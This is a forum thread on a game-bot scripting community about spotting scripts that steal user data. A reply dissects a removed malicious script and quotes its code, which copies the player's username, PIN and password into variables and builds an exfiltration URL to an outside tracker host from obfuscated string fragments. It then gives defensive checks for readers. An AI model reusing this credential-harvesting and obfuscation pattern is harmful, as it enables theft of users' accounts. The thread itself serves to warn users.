From: ninoqino
Hello!
I am curious about how we can check for scripts which will steal data and sends it back to the creator.
Can anyone advise please?
Thanks:cartman:
it isn't a straightforward thing to answer. i looked into one of the scripts that used to be here and got removed and poster banned - someone asked about it earlier and this is what i saw:
first of all any time you have any kind of operation within the script that has username or password or pin on the RIGHT HAND of the assignment, that's not good
an example from actual code that i looked at (also note statements that clearly are for lack of a better term - utterly stupid nonsense - such as testing if 1+3 is larger than 0… that's just wrong, or assigning variable its own value)
Function LV:Boolean;
begin
If(1+3>0)then <<< WHAT????
begin
C:=C; <<< WHAT????
I:=I; <<< WHAT????
Z:=Z; <<< WHAT????
I:=Players[CurrentPlayer].Name; <<< AHA! that is where my login goes
G:= Players[CurrentPlayer].Pin;
Z:=Players[CurrentPlayer].Pass;
Result:=True;
end;
end;
also look for cryptic stuff that does not need to be cryptic (i.e. why spend so much time writing so many short string variables to make one url? because
you are throwing in my username and password and pin, duh!):
Function K:Boolean;
Var
PZ,AZ,AX,TY,LM,BS,RJ,RF,DB,AJ,RN,TP,GY,PS,LJ,LD,DF,DT,YT,DS,DV,MM,BP,NP,FP,SW,QA,SX,RA,US,OZ,OP,LB:String;
begin
PZ:= I; <<<<< HEY is this my player username??????
LM:= Z; <<<< HEY this looks an awfully much like the variable with my password
FFS:='Au'; FPS:='th'; LLM:='en'; RBJ:='ti';RJK:='ca';KKK:='ted.'; //Authenticated..
//Decoder characters..
LD:='fx';BS:= 'tu';RF:='re'; DB:='cr';OP:='i';OZ:='I';RN:= 'te';TP:= 'r.';
GY:= 'zx';AZ:= ':/';PS:= 'q';DF:='e';US:='s'; TY:= 'ht'; DV:='da';DT:='t';YT:='/';
DS:='up';LJ:='.n'; AJ:= 'af';MM:='te';BP:='r.';RJ:= 'na'SW:='ph';AX:= 'tp';QA:='?v';
SX:='er'; RA:='p';NP:='&';FP:='q=';
Q:=NP; //&
L:=FP; //q=
TR:=TY+AX+AZ+YT+RJ+BS+RF+DB+AJ+RN+TP+GY+PS+LJ+DF+DT+'/tracker.'+SW+RA; //TR:= [url]HTTP://naturecrafter.zxq.net/tracker.php[/url]
so my suggestions are:
- if the script is hard to read - run away from it
- always have simba firewall on and do not just accept exception without making sure that it uses website that you trust
- check the code for anything anomalous or nonsensical*
- search for the pin and password and username variables and make sure they are not assigned to something else
- if the script uses ini file to store values, make sure that the values it reads are not similarly misused
* loops like "while true do mainloop;" are however valid, they just say "keep looping until forever".